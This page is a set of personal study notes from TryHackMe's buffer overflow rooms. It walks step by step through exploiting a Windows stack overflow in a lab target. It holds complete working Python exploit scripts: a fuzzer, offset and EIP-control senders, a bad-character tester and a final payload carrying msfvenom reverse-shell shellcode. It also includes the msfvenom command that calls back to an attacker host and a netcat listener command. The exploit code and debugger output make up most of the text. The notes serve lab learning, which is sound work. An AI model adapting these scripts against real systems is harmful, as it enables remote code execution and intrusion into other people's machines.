Skip to main content

Windows x86-64

info

Notes from TryHackMe's Brainstorm and BufferOverflowPrep Rooms.

The Setup​

When you have a blind target to buffer overflow, you need to set up a local system to model the target and use it to design and develop your overflow.

The windows setup I used is:

  • A Windows 7 VM
  • Immunity Debugger installation
  • Mona modules python scripts for the debugger

The Process​

tip

Big thank you to The Cyber Mentor who's "Buffer Overflows Made Easy" YouTube playlist was the most well explained video series I found at the time.

This has been written up far better in a lot of places, but for my own notes and understanding I will write it out in the best way that makes sense to me.

The steps are:

  1. Fuzz the Program
  2. Find the Offset
  3. Control the EIP
  4. Bad Character Check
  5. find a module
  6. create shellcode
  7. exploit

Fuzz the Program​

The scenario would be once you've found a function in the program that you may be able to overflow, you start sending it incrementally-increasing payloads and watch how many bytes it takes to crash.

fuzzer.py​

fuzzer.py
#!/usr/bin/env python3

import socket, time, sys

ip = "172.16.2.125" # the target server IP

port = 9999 # port the vulnerable program is listening on
timeout = 5

payload = "A" * 100 # the start size for the payload

while True:
try:
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
s.settimeout(timeout)
s.connect((ip, port))
s.recv(1024)
print("Fuzzing with {} bytes".format(len(payload) - len(prefix)))
s.send(bytes(payload, "latin-1"))
s.recv(1024)
except:
print("Fuzzing crashed at {} bytes".format(len(payload) - len(prefix)))
sys.exit(0)
payload += 100 * "A" # increment the payload by 100 x A's
time.sleep(1)

Eventually the program will stop responding and timeout and our script will write "Fuzzing crashed at x bytes" and we will have roughly our payload size that crashes the program.

Find the Offset​

We know the payload size from the fuzzer, now we create a random string of x length as our new payload.

Why? Because we want to find the number of bytes it takes from the bottom of our buffer, to the beginning of the EIP address- this "distance" is the offset. If we know the offset, we know how many bytes to use up in the payload before the return address so that it gets written perfectly over the EIP.

We use 2 x tools from metasploit to find the offset:

  1. pattern_create.rb - to create a string pattern the length found by the fuzzer.
  2. pattern_offset.rb - find the offset within that pattern given the specific segment of that pattern that was overwritten onto the EIP.

For example...

let's say Fuzzing crashed at 6300 bytes.

pattern create: /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 6700

offset.py​

#!/usr/bin/env python3

import socket

ip = "172.16.2.125" # IP of the target server.
port = 9999

offset = 0
overflow = "A" * offset
retn = "" # this will overwrite the EIP
padding = "" # optional.
payload = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0A..."
postfix = "" # optional

buffer = overflow + retn + padding + payload + postfix

print("buffer=",len(buffer))

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

try:
s.connect((ip, port))
print("Sending evil buffer...")
s.send(bytes(payload + "\r\n", "latin-1"))
print("Done!")
except:
print("Could not connect.")

When the program crashes you have two ways of finding the offset

Using Mona​

In the Immunity Debugger, run this to find offset via mona: !mona findmsp -distance 6700

Output will look like this:

Log data, item 18
Address=0BADF00D
Message= EIP contains normal pattern : 0x48367648 (offset 6108)

Using Metasploit​

Or use the 2nd part of the the metasploit pattern tool, the pattern_offset script:

First, read the EIP value in Immunity Debugger:

e.g. EIP value on crash = 48367648

Then use the pattern offset tool from metasploit to find the offset:

/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 6700 -q 48367648
Exact match at offset 6108

Control the EIP​

Now that you know the offset, theoretically you should be able to create an overflow of length=offset which will fill the buffer right up to the start of the EIP, and then the value you set for retn should be written over the EIP, which in the case below is 4 x B's i.e. BBBB.

eip.py

#!/usr/bin/env python3

import socket

ip = "172.16.2.125"
port = 9999

offset = 6108
overflow = "A" * offset
retn = "BBBB"

buffer = overflow + retn
print("buffer=",len(buffer)) # check the buffer length

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

try:
s.connect((ip, port))
print("Crash Overwrite EIP: 42424242...")
s.send(bytes(buffer + "\r\n", "latin-1"))
print("Done!")
except:
print("Could not connect.")

If your fuzz and offset work is correct, when you run the eip.py script and the application crashes, the EIP value should show 42424242 i.e. 4 x B's.

Bad Character Check​

Why do we care?

A bad character in our shellcode will bork the whole thing up, so we need to understand which characters from a byte array of all possible characters, could be bad and mess up our exploit so we can exclude them from any generated shellcode.

First, because we're going to use mona a lot here, setup the mona working directory to make things easier for us:

!mona config -set workingfolder C:\Users\IEUser\Downloads\%p - this is my win7 VM.

!mona bytearray​

In Immunity Debugger, run this mona command: !mona bytearray -b "\x00" to generate the "nullbyte array" i.e. the full bytearray minus the null byte \x00.

You can find the text file of the byte array to copy in the working directory we set just before (C:\Users\IEUser\Downloads\%p), if you want to open + copy/paste to your script below.

Other ways of generating all possible characters:

# Python
for i in range(0,256): print('\\x%02X' % i, end='')

# Bash
for i in {0..255}; do printf "\\\x%02x" $i;done

badchar.py​

Your bad character script looks like this:

badchar.py

#!/usr/bin/env python3

import socket

ip = "172.16.2.125"
port = 9999

offset = 6108
overflow = "A" * offset
retn = "BBBB"
payload = (
"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21"
"\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x41\x42"
"\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x60\x61\x62\x63"
"\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83"
"\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3"
"\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4"
"\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4"
"\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"
)

buffer = overflow + retn + payload

print("buffer=",len(buffer)) # check the buffer length

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

try:
s.connect((ip, port))
print("Sending evil buffer for badchar check...")
s.send(bytes(buffer + "\r\n", "latin-1"))
print("Done!")
except:
print("Could not connect.")

When you send this payload ./badchar.py and crash the app, use mona again to run a "compare" between the bytearray.bin you generated at the beginning with !mona bytearray -b "\x00" and the array that's now in memory starting where the ESP is pointing.

!mona compare​

The steps are as follows:

  1. Send the payload with the bytearray you generated and crash the app
  2. Read the value of the ESP register e.g. 01ACFA30
  3. Run the !mona compare command using: !mona compare -f C:\Users\admin\Desktop\vulnerable-apps\oscp\bytearray.bin -a 01ACFA30
  4. mona will give you a list of characters it believes are "bad", and look something like this: 00 a0 a1 ad ae be bf de df ef f0

You now have your bad characters list.

verify​

Not all characters in mona's bad character list are legitimate bad chars.

How do we verify?

Rule of Thumb

The "next byte" after a badchar can get corrupted, so the real badchar will only be the FIRST in any consecutive characters e.g. if mona says 1 2 3 4 5 6 are bad chars, really the real badchars are 1 3 5 because 2 4 6 would be fine and just got corrupted by the real bad characters that came before it.

For example, say after a compare mona gives us this list of bad chars: 00 a0 a1 ad ae be bf de df ef f0.

We apply our rule of thumb, and guess that only the following from the sequence are the real bad characters: a0 ad be de ef

We test this by generating another byte array using mona, but adding the other bytes we want to exclude from our real bad character list:

!mona bytearray -b "\x00\xa0\xad\xbe\xde\xef"

And go through the same steps 1 to 4 above.

If our guess is correct, we will get an "Unmodified" status which means our byte array payload has no bad characters in it.

Find a jmp point​

info

We have control of the EIP so we can write an address over it to "jump somewhere and execute" code, so we need to find this return address of a pointer that will allow us to use it to "jump" where we want to go.

I use the word "allow" because the return address of the module we're trying to jump from has to have any protections disabled or missing.

The command we can use to find all available "pointers", for example:

!mona jmp -r esp -cpb "\x00\xa0\xad\xbe\xde\xef"

this command tells mona to:

  • look for jmp instructions pointers
  • given the register esp
  • -cpb and skip any pointers that have any of these bad characters "\x00\xa0\xad\xbe\xde\xef"

Run the command in Immunity Debugger and you see something like this ("Log Data" window):

           ---------- Mona command started on 2022-01-13 04:36:15 (v2.0, rev 605) ----------
0BADF00D [+] Processing arguments and criteria
0BADF00D - Pointer access level : X
0BADF00D - Bad char filter will be applied to pointers : "\x00\xa0\xad\xbe\xde\xef"
0BADF00D [+] Generating module info table, hang on...
0BADF00D - Processing modules
0BADF00D - Done. Let's rock 'n roll.
0BADF00D [+] Querying 2 modules
0BADF00D - Querying module essfunc.dll
74840000 Modules C:\Windows\System32\wshtcpip.dll
0BADF00D - Querying module oscp.exe
0BADF00D - Search complete, processing results
0BADF00D [+] Preparing output file 'jmp.txt'
0BADF00D - (Re)setting logfile C:\Users\admin\Desktop\vulnerable-apps\oscp\jmp.txt
0BADF00D [+] Writing results to C:\Users\admin\Desktop\vulnerable-apps\oscp\jmp.txt
0BADF00D - Number of pointers of type 'jmp esp' : 9
0BADF00D [+] Results :
625011AF 0x625011af : jmp esp | {PAGE_EXECUTE_READ} [essfunc.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\Users\admin\Desktop\vulnerable-apps\oscp\essfunc.dll)
625011BB 0x625011bb : jmp esp | {PAGE_EXECUTE_READ} [essfunc.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\Users\admin\Desktop\vulnerable-apps\oscp\essfunc.dll)
625011C7 0x625011c7 : jmp esp | {PAGE_EXECUTE_READ} [essfunc.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\Users\admin\Desktop\vulnerable-apps\oscp\essfunc.dll)
625011D3 0x625011d3 : jmp esp | {PAGE_EXECUTE_READ} [essfunc.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\Users\admin\Desktop\vulnerable-apps\oscp\essfunc.dll)
625011DF 0x625011df : jmp esp | {PAGE_EXECUTE_READ} [essfunc.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\Users\admin\Desktop\vulnerable-apps\oscp\essfunc.dll)
625011EB 0x625011eb : jmp esp | {PAGE_EXECUTE_READ} [essfunc.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\Users\admin\Desktop\vulnerable-apps\oscp\essfunc.dll)
625011F7 0x625011f7 : jmp esp | {PAGE_EXECUTE_READ} [essfunc.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\Users\admin\Desktop\vulnerable-apps\oscp\essfunc.dll)
62501203 0x62501203 : jmp esp | ascii {PAGE_EXECUTE_READ} [essfunc.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\Users\admin\Desktop\vulnerable-apps\oscp\essfunc.dll)
62501205 0x62501205 : jmp esp | ascii {PAGE_EXECUTE_READ} [essfunc.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\Users\admin\Desktop\vulnerable-apps\oscp\essfunc.dll)
0BADF00D Found a total of 9 pointers
0BADF00D
0BADF00D [+] This mona.py action took 0:00:00.702000

mona found 9 pointers that fit our criteria.

Pick a jmp point = 625011F7 and convert to little endian format: \xf7\x11\x50\x62

Shellcode​

Now that we have our return address for our pointer jmp point, we can put the final piece of the payload together- the shellcode.

msfvenom​

Use msfvenom to generate a reverse tcp shell to pop a connection back to your listener:

msfvenom -p windows/shell_reverse_tcp LHOST=10.11.55.83 LPORT=4444 EXITFUNC=thread -b "\x00\xa0\xad\xbe\xde\xef" -f c

payload.py​

payload.py
#!/usr/bin/env python3

import socket

ip = "172.16.2.125"
port = 9999

offset = 6108
overflow = "A" * offset
retn = "\xf7\x11\x50\x62" # found using mona
padding = "\x90" * 16 # NOP sled
shellcode = (
"\x33\xc9\x83\xe9\xaf\xe8\xff\xff\xff\xff\xc0\x5e\x81\x76\x0e"
"\xa4\xa6\x8c\x59\x83\xee\xfc\xe2\xf4\x58\x4e\x0e\x59\xa4\xa6"
"\xec\xd0\x41\x97\x4c\x3d\x2f\xf6\xbc\xd2\xf6\xaa\x07\x0b\xb0"
"\x2d\xfe\x71\xab\x11\xc6\x7f\x95\x59\x20\x65\xc5\xda\x8e\x75"
"\x84\x67\x43\x54\xa5\x61\x6e\xab\xf6\xf1\x07\x0b\xb4\x2d\xc6"
"\x65\x2f\xea\x9d\x21\x47\xee\x8d\x88\xf5\x2d\xd5\x79\xa5\x75"
"\x07\x10\xbc\x45\xb6\x10\x2f\x92\x07\x58\x72\x97\x73\xf5\x65"
"\x69\x81\x58\x63\x9e\x6c\x2c\x52\xa5\xf1\xa1\x9f\xdb\xa8\x2c"
"\x40\xfe\x07\x01\x80\xa7\x5f\x3f\x2f\xaa\xc7\xd2\xfc\xba\x8d"
"\x8a\x2f\xa2\x07\x58\x74\x2f\xc8\x7d\x80\xfd\xd7\x38\xfd\xfc"
"\xdd\xa6\x44\xf9\xd3\x03\x2f\xb4\x67\xd4\xf9\xce\xbf\x6b\xa4"
"\xa6\xe4\x2e\xd7\x94\xd3\x0d\xcc\xea\xfb\x7f\xa3\x59\x59\xe1"
"\x34\xa7\x8c\x59\x8d\x62\xd8\x09\xcc\x8f\x0c\x32\xa4\x59\x59"
"\x09\xf4\xf6\xdc\x19\xf4\xe6\xdc\x31\x4e\xa9\x53\xb9\x5b\x73"
"\x1b\x33\xa1\xce\x86\x52\x93\xf5\xe4\x5b\xa4\xb7\xd0\xd0\x42"
"\xcc\x9c\x0f\xf3\xce\x15\xfc\xd0\xc7\x73\x8c\x21\x66\xf8\x55"
"\x5b\xe8\x84\x2c\x48\xce\x7c\xec\x06\xf0\x73\x8c\xcc\xc5\xe1"
"\x3d\xa4\x2f\x6f\x0e\xf3\xf1\xbd\xaf\xce\xb4\xd5\x0f\x46\x5b"
"\xea\x9e\xe0\x82\xb0\x58\xa5\x2b\xc8\x7d\xb4\x60\x8c\x1d\xf0"
"\xf6\xda\x0f\xf2\xe0\xda\x17\xf2\xf0\xdf\x0f\xcc\xdf\x40\x66"
"\x22\x59\x59\xd0\x44\xe8\xda\x1f\x5b\x96\xe4\x51\x23\xbb\xec"
"\xa6\x71\x1d\x6c\x44\x8e\xac\xe4\xff\x31\x1b\x11\xa6\x71\x9a"
"\x8a\x25\xae\x26\x77\xb9\xd1\xa3\x37\x1e\xb7\xd4\xe3\x33\xa4"
"\xf5\x73\x8c"
)
postfix = ""

buffer = overflow + retn + padding + shellcode + postfix

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

try:
s.connect((ip, port))
print("Sending evil buffer...")
s.send(bytes(buffer + "\r\n", "latin-1"))
print("Done!")
except:
print("Could not connect.")
NOP Sled

What is a NOP Sled and what does it do?

Brilliant stackoverflow answer:

"Some attacks consist of making the program jump to a specific address and continue running from there. The injected code has to be loaded previously somehow in that exact location.

Stack randomization and other runtime differences may make the address where the program will jump impossible to predict, so the attacker places a NOP sled in a big range of memory. If the program jumps to anywhere into the sled, it will run all the remaining NOPs, doing nothing, and then will run the payload code, just next to the sled.

The reason the attacker uses the NOP sled is to make the target address bigger: the code can jump anywhere in the sled, instead of exactly at the beginning of the injected code."

listener + pop​

On your attack machine, run a listener: rlwrap nc -lvnp 4444

Run ./payload.py and if everything went correctly, you will have a shell pop in your listener.

References​